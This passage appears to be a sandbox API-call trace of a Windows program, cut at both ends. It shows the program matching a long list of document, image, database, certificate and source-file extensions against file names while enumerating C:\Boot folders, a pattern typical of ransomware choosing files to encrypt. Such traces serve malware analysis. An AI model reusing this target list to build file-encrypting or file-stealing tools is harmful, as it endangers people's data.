(lpString1=".clx", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".config") returned 7 [0033.954] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0033.954] lstrlenW (lpString=".cpp") returned 4 [0033.954] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".cr2") returned 4 [0033.954] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".crt") returned 4 [0033.954] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".crw") returned 4 [0033.954] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".cs") returned 3 [0033.955] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0033.955] lstrlenW (lpString=".css") returned 4 [0033.955] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".csv") returned 4 [0033.955] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".cub") returned 4 [0033.955] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dae") returned 4 [0033.955] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dat") returned 4 [0033.955] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".db") returned 3 [0033.955] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0033.955] lstrlenW (lpString=".dbf") returned 4 [0033.955] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dbx") returned 4 [0033.955] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dc3") returned 4 [0033.955] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dcm") returned 4 [0033.955] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dcr") returned 4 [0033.955] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".der") returned 4 [0033.955] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dib") returned 4 [0033.955] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dic") returned 4 [0033.955] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dif") returned 4 [0033.955] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".divx") returned 5 [0033.955] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0033.955] lstrlenW (lpString=".djvu") returned 5 [0033.955] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0033.955] lstrlenW (lpString=".dng") returned 4 [0033.955] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".doc") returned 4 [0033.955] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".docm") returned 5 [0033.955] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0033.955] lstrlenW (lpString=".docx") returned 5 [0033.955] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.955] lstrlenW (lpString=".dot") returned 4 [0033.955] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dotm") returned 5 [0033.955] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0033.955] lstrlenW (lpString=".dotx") returned 5 [0033.955] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0033.955] lstrlenW (lpString=".dpx") returned 4 [0033.955] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dqy") returned 4 [0033.955] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dsn") returned 4 [0033.955] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".dt") returned 3 [0033.956] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0033.956] lstrlenW (lpString=".dtd") returned 4 [0033.956] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".dwg") returned 4 [0033.956] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".dwt") returned 4 [0033.956] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".dx") returned 3 [0033.956] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0033.956] lstrlenW (lpString=".dxf") returned 4 [0033.956] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".edml") returned 5 [0033.956] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0033.956] lstrlenW (lpString=".efd") returned 4 [0033.956] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".elf") returned 4 [0033.956] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".emf") returned 4 [0033.956] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".emz") returned 4 [0033.956] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".epf") returned 4 [0033.956] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".eps") returned 4 [0033.956] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".epsf") returned 5 [0033.956] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0033.956] lstrlenW (lpString=".epsp") returned 5 [0033.956] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0033.956] lstrlenW (lpString=".erf") returned 4 [0033.956] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".exr") returned 4 [0033.956] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".f4v") returned 4 [0033.956] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".fido") returned 5 [0033.956] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0033.956] lstrlenW (lpString=".flm") returned 4 [0033.956] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".flv") returned 4 [0033.956] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".frm") returned 4 [0033.956] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".fxg") returned 4 [0033.956] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".geo") returned 4 [0033.956] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".gif") returned 4 [0033.956] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".grs") returned 4 [0033.956] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".gz") returned 3 [0033.956] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0033.956] lstrlenW (lpString=".h") returned 2 [0033.956] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0033.956] lstrlenW (lpString=".hdr") returned 4 [0033.956] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".hpp") returned 4 [0033.957] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".hta") returned 4 [0033.957] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".htc") returned 4 [0033.957] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".htm") returned 4 [0033.957] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".html") returned 5 [0033.957] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0033.957] lstrlenW (lpString=".icb") returned 4 [0033.957] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".ics") returned 4 [0033.957] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".iff") returned 4 [0033.957] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".inc") returned 4 [0033.957] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".indd") returned 5 [0033.957] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0033.957] lstrlenW (lpString=".ini") returned 4 [0033.957] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".iqy") returned 4 [0033.957] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".j2c") returned 4 [0033.957] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".j2k") returned 4 [0033.957] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".java") returned 5 [0033.957] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0033.957] lstrlenW (lpString=".jp2") returned 4 [0033.957] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".jpc") returned 4 [0033.957] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".jpe") returned 4 [0033.957] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".jpeg") returned 5 [0033.957] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0033.957] lstrlenW (lpString=".jpf") returned 4 [0033.957] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".jpg") returned 4 [0033.957] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".jpx") returned 4 [0033.957] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".js") returned 3 [0033.957] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0033.957] lstrlenW (lpString=".jsf") returned 4 [0033.957] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".json") returned 5 [0033.957] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0033.957] lstrlenW (lpString=".jsp") returned 4 [0033.957] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".kdc") returned 4 [0033.957] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".kmz") returned 4 [0033.957] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0033.957] lstrlenW (lpString=".kwm") returned 4 [0033.958] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".lasso") returned 6 [0033.958] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0033.958] lstrlenW (lpString=".lbi") returned 4 [0033.958] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".lgf") returned 4 [0033.958] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".lgp") returned 4 [0033.958] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".log") returned 4 [0033.958] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".m1v") returned 4 [0033.958] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".m4a") returned 4 [0033.958] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".m4v") returned 4 [0033.958] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".max") returned 4 [0033.958] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".md") returned 3 [0033.958] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0033.958] lstrlenW (lpString=".mda") returned 4 [0033.958] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mdb") returned 4 [0033.958] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mde") returned 4 [0033.958] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mdf") returned 4 [0033.958] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mdw") returned 4 [0033.958] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mef") returned 4 [0033.958] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mft") returned 4 [0033.958] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mfw") returned 4 [0033.958] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mht") returned 4 [0033.958] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mhtml") returned 6 [0033.958] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0033.958] lstrlenW (lpString=".mka") returned 4 [0033.958] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mkidx") returned 6 [0033.958] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0033.958] lstrlenW (lpString=".mkv") returned 4 [0033.958] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mos") returned 4 [0033.958] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mov") returned 4 [0033.958] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mp3") returned 4 [0033.958] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mp4") returned 4 [0033.958] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0033.958] lstrlenW (lpString=".mpeg") returned 5 [0033.958] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0033.958] lstrlenW (lpString=".mpg") returned 4 [0033.959] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0033.959] lstrlenW (lpString=".mpv") returned 4 [0033.959] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0033.959] lstrlenW (lpString=".mrw") returned 4 [0033.959] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0033.959] lstrlenW (lpString=".msg") returned 4 [0033.959] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0033.959] lstrlenW (lpString=".mxl") returned 4 [0033.959] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".myd") returned 4 [0033.959] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".myi") returned 4 [0033.959] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".nef") returned 4 [0033.959] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".nrw") returned 4 [0033.959] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".obj") returned 4 [0033.959] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".odb") returned 4 [0033.959] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".odc") returned 4 [0033.959] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".odm") returned 4 [0033.959] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".odp") returned 4 [0033.959] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".ods") returned 4 [0033.959] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".oft") returned 4 [0033.959] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".one") returned 4 [0033.959] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".onepkg") returned 7 [0033.959] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0033.959] lstrlenW (lpString=".onetoc2") returned 8 [0033.959] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0033.959] lstrlenW (lpString=".opt") returned 4 [0033.959] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".oqy") returned 4 [0033.959] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".orf") returned 4 [0033.959] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".p12") returned 4 [0033.959] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".p7b") returned 4 [0033.959] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".p7c") returned 4 [0033.959] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".pam") returned 4 [0033.959] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".pbm") returned 4 [0033.959] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".pct") returned 4 [0033.959] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0033.959] lstrlenW (lpString=".pcx") returned 4 [0033.959] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pdd") returned 4 [0033.960] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pdf") returned 4 [0033.960] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pdp") returned 4 [0033.960] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pef") returned 4 [0033.960] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pem") returned 4 [0033.960] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pff") returned 4 [0033.960] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pfm") returned 4 [0033.960] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pfx") returned 4 [0033.960] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pgm") returned 4 [0033.960] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".php") returned 4 [0033.960] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".php3") returned 5 [0033.960] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0033.960] lstrlenW (lpString=".php4") returned 5 [0033.960] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0033.960] lstrlenW (lpString=".php5") returned 5 [0033.960] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0033.960] lstrlenW (lpString=".phtml") returned 6 [0033.960] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0033.960] lstrlenW (lpString=".pict") returned 5 [0033.960] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0033.960] lstrlenW (lpString=".pl") returned 3 [0033.960] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0033.960] lstrlenW (lpString=".pls") returned 4 [0033.960] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pm") returned 3 [0033.960] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0033.960] lstrlenW (lpString=".png") returned 4 [0033.960] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pnm") returned 4 [0033.960] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pot") returned 4 [0033.960] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".potm") returned 5 [0033.960] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0033.960] lstrlenW (lpString=".potx") returned 5 [0033.960] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0033.960] lstrlenW (lpString=".ppa") returned 4 [0033.960] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".ppam") returned 5 [0033.960] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0033.960] lstrlenW (lpString=".ppm") returned 4 [0033.960] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".pps") returned 4 [0033.960] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0033.960] lstrlenW (lpString=".ppsm") returned 5 [0033.960] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0033.960] lstrlenW (lpString=".ppt") returned 4 [0033.960] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".pptm") returned 5 [0033.961] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0033.961] lstrlenW (lpString=".pptx") returned 5 [0033.961] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0033.961] lstrlenW (lpString=".prn") returned 4 [0033.961] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".ps") returned 3 [0033.961] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0033.961] lstrlenW (lpString=".psb") returned 4 [0033.961] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".psd") returned 4 [0033.961] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".pst") returned 4 [0033.961] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".ptx") returned 4 [0033.961] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".pub") returned 4 [0033.961] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".pwm") returned 4 [0033.961] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".pxr") returned 4 [0033.961] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0033.961] lstrlenW (lpString=".py") returned 3 [0033.961] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0033.961] lstrlenW (lpString=".qt") returned 3 [0033.961] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0033.961] lstrlenW (lpString=".r3d") returned 4 [0033.961] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0033.961] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.961] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.961] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0033.961] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.961] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.961] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.961] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0033.962] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.962] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.962] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.962] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.962] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.962] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.962] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, 